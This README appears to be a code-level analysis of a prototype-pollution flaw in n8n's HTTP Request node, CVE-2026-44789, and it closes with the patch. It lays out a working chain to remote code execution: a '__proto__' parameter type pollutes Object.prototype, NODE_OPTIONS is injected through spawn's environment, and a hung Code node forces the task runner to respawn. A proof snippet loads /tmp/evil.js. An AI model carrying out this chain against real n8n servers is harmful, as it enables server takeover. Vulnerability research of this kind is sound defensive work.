README.md
Rendering markdown...
# Code-level analysis — CVE-2026-44789
## 1. The sink
`packages/nodes-base/nodes/HttpRequest/V3/HttpRequestV3.node.ts`, pagination handling
for `paginationMode === 'updateAParameterInEachRequest'`:
```js
paginationData.request = {}; // (vulnerable: a normal {} with Object.prototype)
...
pagination.parameters.parameters.forEach((parameter, index) => {
if (!paginationData.request[parameter.type]) {
paginationData.request[parameter.type] = {};
}
const parameterName = parameter.name; // attacker-controlled
const parameterValue = parameter.value; // attacker-controlled
...
paginationData.request[parameter.type]![parameterName] = parameterValue; // SINK
});
```
`parameter.type`, `parameter.name`, `parameter.value` are read verbatim from the
workflow definition. The UI normally restricts `type` to `qs` / `headers` / `body`,
but the REST API accepts any string, so an attacker sets `type = "__proto__"`.
With `type = "__proto__"`:
* `paginationData.request["__proto__"]` is `Object.prototype` (truthy), so the
`if (!…)` initialiser is skipped;
* `paginationData.request["__proto__"][parameterName] = parameterValue` becomes
**`Object.prototype[parameterName] = parameterValue`** — a process-global pollution.
This runs in whichever process executes the workflow. With the default single-main
deployment, a webhook execution runs in the **main n8n server process**, which is
the process that later spawns the task runner (the gadget).
## 2. Confirming the pollution
After polluting, n8n's persistence layer (TypeORM) builds entity UPDATEs by iterating
object properties. The polluted key is enumerable on `Object.prototype`, so it leaks
into those iterations and TypeORM tries to write a non-existent column:
```
EntityPropertyNotFoundError: Property "NODE_OPTIONS" was not found in "ExecutionEntity".
```
That error is itself proof that `Object.prototype.NODE_OPTIONS` was set
process-globally (it also makes workflow CRUD start failing — a side effect that
constrains exploit ordering, see §5).
## 3. Why the Code-node sandbox does not see it
The n8n Code node runs in the task-runner process, which is launched with
`node --disallow-code-generation-from-strings --disable-proto=delete …`. That process
has its own realm and proto hardening, so `({}).polluted` inside a Code node returns
`undefined`. The pollution is global to the **main** process, not the runner's vm —
which is exactly why a *gadget* is needed to convert it into execution.
## 4. The gadget — `for…in` over the spawn env
`packages/cli/src/task-runners/task-runner-process-js.ts`:
```js
return spawn('node', [...flags, startScript], {
env: this.getProcessEnvVars(grantToken, taskBrokerUri),
});
```
`getProcessEnvVars()` returns a plain object with only the curated keys
(`PATH`, `HOME`, …) as **own** properties. But Node's `normalizeSpawnArguments`
constructs the child's environment like:
```js
const env = options.env || process.env;
const envPairs = [];
for (const key in env) { // <-- enumerates INHERITED enumerable props too
envPairs.push(`${key}=${env[key]}`);
}
```
Because `for…in` walks the prototype chain, `Object.prototype.NODE_OPTIONS` is
included in `envPairs`. The child is `node`, which reads `NODE_OPTIONS` at startup,
so `--require=/path/evil.js` runs the attacker file. Verified in isolation:
```js
Object.prototype.NODE_OPTIONS = "--require /tmp/evil.js";
spawn("node", ["-e","0"], { env: { PATH: process.env.PATH } }); // child runs evil.js
```
`NODE_OPTIONS` is one of the env vars Node honours from the environment, and
`--require` is on its allow-list — so no special privileges are needed beyond the
ability to spawn a `node` child, which n8n does for every task-runner launch.
## 5. Triggering the respawn (and why order matters)
The runner is spawned once at startup (before any pollution). Its lifecycle restarts
it on exit:
```js
protected onProcessExit(code, resolveFn) {
...
setImmediate(async () => await this.start()); // re-spawn -> re-reads the (polluted) env
}
```
The attacker forces an exit *after* polluting by hanging a Code node
(`while(true){}`); the runner's task timeout / OOM detector then kills the runner,
and `start()` re-spawns it — now inheriting `NODE_OPTIONS`.
Ordering constraint: polluting `NODE_OPTIONS` breaks TypeORM persistence (§2), so a
*new* execution started after pollution fails before it reaches the runner.
Therefore the chain hangs the runner **first**, then pollutes, then lets the timeout
respawn it:
```
write evil.js -> hang runner (Code node) -> pollute NODE_OPTIONS (HTTP node, main proc)
-> runner task-timeout -> runner exits -> respawn inherits NODE_OPTIONS -> RCE
```
## 6. The fix (1.123.43 / 2.20.7 / 2.22.1)
```js
// patched
paginationData.request[parameter.type] ??= Object.create(null);
```
`Object.create(null)` has no prototype, so `request["__proto__"]` is just a regular
(absent) property rather than `Object.prototype`; the assignment can no longer reach
the global prototype. This is the binary discriminator between **VULNERABLE
(< 1.123.43)** and **PATCHED**.